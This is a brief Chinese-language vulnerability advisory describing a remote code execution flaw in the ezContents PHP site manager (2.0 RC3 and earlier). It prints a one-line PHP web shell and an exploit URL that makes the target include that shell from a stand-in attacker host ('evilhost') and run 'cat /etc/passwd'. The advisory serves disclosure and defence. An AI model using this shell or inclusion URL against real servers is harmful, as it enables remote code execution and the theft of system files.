ezContents 存在远程代码执行缺陷
涉及程序：
ezContents 2.0 RC3版及其之前的版本
描述：
ezContents 存在远程代码执行缺陷
详细： ezContents 是一款由PHP编写，使用MySQL数据库，开放源代码的WEB站点管理程序。
ezContents程序存在缺陷，允许远程攻击者利用程序的PHP脚本执行攻击者精心创建的PHP文件，能导致攻击者在目标服务器上执行任意PHP代码。攻击者通过在自己的WEB站点上创建下列文件：
----index.php----
<?
system($cmd);
?>
-----------------
并向目标服务器提交精心构造的下列URL：
http://targethost/module.php?link=http://evilhost/index.php&cmd=cat /etc/passwd
将导致 targethost服务器从evilhost主机下载index.php文件，并执行system("cat /etc/passwd")。
攻击方法：
参考“详细”栏
解决方案：
目前厂商未公布该缺陷补丁，请用户及时关注厂商站点：
http://www.ezcontents.org/
附加信息：
无
推荐
评论(0条)
